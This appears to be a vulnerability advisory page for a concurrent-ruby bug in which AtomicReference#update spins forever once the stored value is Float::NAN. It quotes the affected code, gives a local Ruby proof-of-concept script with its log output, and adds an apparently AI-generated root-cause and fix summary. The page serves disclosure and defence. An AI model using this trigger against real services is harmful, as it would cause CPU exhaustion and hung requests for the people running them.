VYPR
High severity8.2NVD Advisory· Published Jun 19, 2026

Concurrent Ruby : `AtomicReference#update` livelocks when the stored value is `Float::NAN`

CVE-2026-54904

Description

Summary

Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN.

The issue is caused by the interaction between: - AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds. - Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap. - Ruby NaN semantics, where Float::NAN == Float::NAN is always false.

As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs.

Version

Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab

Details

AtomicReference#update retries until compare_and_set returns true:

def update
  true until compare_and_set(old_value = get, new_value = yield(old_value))
  new_value
end

For numeric expected values, compare_and_set uses numeric equality before attempting the underlying atomic compare-and-set:

def compare_and_set(old_value, new_value)
  if old_value.kind_of? Numeric
    while true
      old = get

      return false unless old.kind_of? Numeric
      return false unless old == old_value

      result = _compare_and_set(old, new_value)
      return result if result
    end
  else
    _compare_and_set(old_value, new_value)
  end
end

When the stored value is Float::NAN, old_value = get returns NaN. The later comparison old == old_value is false because NaN is not equal to itself. compare_and_set therefore returns false every time. AtomicReference#update treats that as a failed concurrent update and retries forever.

This is reachable through the public Concurrent::AtomicReference API and does not require native extensions or undefined behavior.

PoC

#!/usr/bin/env ruby
# frozen_string_literal: true

require 'concurrent/atomic/atomic_reference'
require 'concurrent/version'

puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=AtomicReference#update livelock when current value is Float::NAN"

ref = Concurrent::AtomicReference.new(Float::NAN)
attempts = 0
finished = false

worker = Thread.new do
  ref.update do |_old_value|
    attempts += 1
    0.0
  end
  finished = true
end

sleep 0.25

puts "nan_update_attempts_after_250ms=#{attempts}"
puts "nan_update_finished=#{finished}"
puts "nan_update_worker_alive=#{worker.alive?}"

if worker.alive? && !finished && attempts > 1000
  puts 'result=REPRODUCED busy retry loop; update did not complete'
else
  puts 'result=NOT_REPRODUCED'
end

worker.kill
worker.join

control = Concurrent::AtomicReference.new(1.0)
control_attempts = 0
control_result = control.update do |old_value|
  control_attempts += 1
  old_value + 1.0
end

puts "control_update_result=#{control_result.inspect}"
puts "control_update_attempts=#{control_attempts}"
puts "control_update_final_value=#{control.value.inspect}"

Log evidence

ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=AtomicReference#update livelock when current value is Float::NAN
nan_update_attempts_after_250ms=1926016
nan_update_finished=false
nan_update_worker_alive=true
result=REPRODUCED busy retry loop; update did not complete
control_update_result=2.0
control_update_attempts=1
control_update_final_value=2.0

Impact

This is an application-level denial of service issue. If an application stores externally derived numeric data in a Concurrent::AtomicReference, an attacker or faulty upstream data source may be able to cause the stored value to become Float::NAN. Any later call to AtomicReference#update on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Affected products

1

Patches

Vulnerability mechanics

Root cause

"Ruby's NaN semantics (Float::NAN == Float::NAN is always false) cause the numeric equality check in compare_and_set to fail permanently, trapping AtomicReference#update in an infinite retry loop."

Attack vector

An attacker or faulty upstream data source can cause a `Concurrent::AtomicReference` to hold `Float::NAN` [ref_id=1]. Once the reference contains NaN, any subsequent call to `#update` will spin forever because `compare_and_set` repeatedly compares the stored NaN against the expected NaN using `==`, which always returns `false` [ref_id=2]. This results in CPU exhaustion and permanent request or job hangs — an application-level denial of service. No native extensions or undefined behavior are required; the bug is reachable through the public API.

Affected code

The bug is in `Concurrent::AtomicReference#update` and the numeric branch of `compare_and_set` in the concurrent-ruby library (version 1.3.6, commit 7a1b789). `#update` retries until `compare_and_set` returns true, and the numeric path in `compare_and_set` checks `old == old_value` before the atomic swap. Because `Float::NAN == Float::NAN` is always `false` in Ruby, this equality check never passes, causing an infinite retry loop.

What the fix does

The advisory does not include a published patch. The recommended fix would need to handle `Float::NAN` specially in the numeric equality check inside `compare_and_set`, for example by using `old.equal?(old_value)` or by detecting NaN and falling back to the non-numeric code path. Until a fix is released, applications should avoid storing `Float::NAN` in `AtomicReference` instances or sanitize externally derived numeric values before assignment.

Preconditions

  • inputThe Concurrent::AtomicReference must contain Float::NAN as its stored value.
  • inputAn attacker or faulty data source must be able to write Float::NAN into the AtomicReference.
  • inputA thread must call AtomicReference#update on that reference.

Generated on Jun 19, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

2

News mentions

0

No linked articles in our index yet.